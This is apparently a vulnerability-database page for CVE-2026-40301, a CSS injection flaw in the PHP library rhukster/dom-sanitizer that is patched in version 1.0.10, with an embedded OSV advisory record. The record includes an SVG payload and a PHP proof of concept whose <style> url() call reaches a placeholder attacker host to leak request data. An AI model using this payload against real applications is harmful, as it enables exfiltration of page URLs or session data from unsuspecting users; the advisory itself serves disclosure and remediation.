CVE-2026-40301: rhukster/dom-sanitizer SVG <style> Tag Allows CSS Vulnerability
MODERATECVE-2026-40301 is a MODERATE (CVSS 4.7) svg <style> tag allows css vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting rhukster/dom-sanitizer libraries in the Packagist ecosystem. The issue involves svg <style> tag allows css injection via unfiltered url() and @import directives. Remediation is available by upgrading affected packages to version 1.0.10.
CVE-2026-40301 at a Glance
Security Impact
CVSS: 4.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N).
How to Fix CVE-2026-40301
To remediate this vulnerability, upgrade all affected rhukster/dom-sanitizer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade rhukster/dom-sanitizer to 1.0.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for rhukster/dom-sanitizer
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40301, inspect your project dependencies for rhukster/dom-sanitizer:
inspect dependencies for rhukster/dom-sanitizer
Analyze the terminal output to locate any version of rhukster/dom-sanitizer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.10), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In rhukster/dom-sanitizer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40301 Affected rhukster/dom-sanitizer Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
rhukster/dom-sanitizer
|
Packagist |
< 1.0.10
|
1.0.10
|
References
Frequently Asked Questions
What is CVE-2026-40301?
Which rhukster/dom-sanitizer versions are affected?
What version fixes CVE-2026-40301?
Is rhukster/dom-sanitizer affected?
What is the CVSS score of CVE-2026-40301?
What CWE is associated with CVE-2026-40301?
How can I check Packagist dependencies for CVE-2026-40301?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-93vf-569f-22cq",
"modified" : "2026-04-24T20:48:42Z",
"published" : "2026-04-10T21:08:30Z",
"aliases" : [ "CVE-2026-40301" ],
"summary" : "rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives",
"details" : "### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "rhukster/dom-sanitizer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/rhukster/dom-sanitizer/security/advisories/GHSA-93vf-569f-22cq"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40301"
}, {
"type" : "WEB",
"url" : "https://github.com/rhukster/dom-sanitizer/commit/49a98046b708a4c92f754f5b0ef1720bb85142e2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/rhukster/dom-sanitizer"
}, {
"type" : "WEB",
"url" : "https://github.com/rhukster/dom-sanitizer/releases/tag/1.0.10"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-10T21:08:30Z",
"nvd_published_at" : "2026-04-17T21:16:34Z"
}
}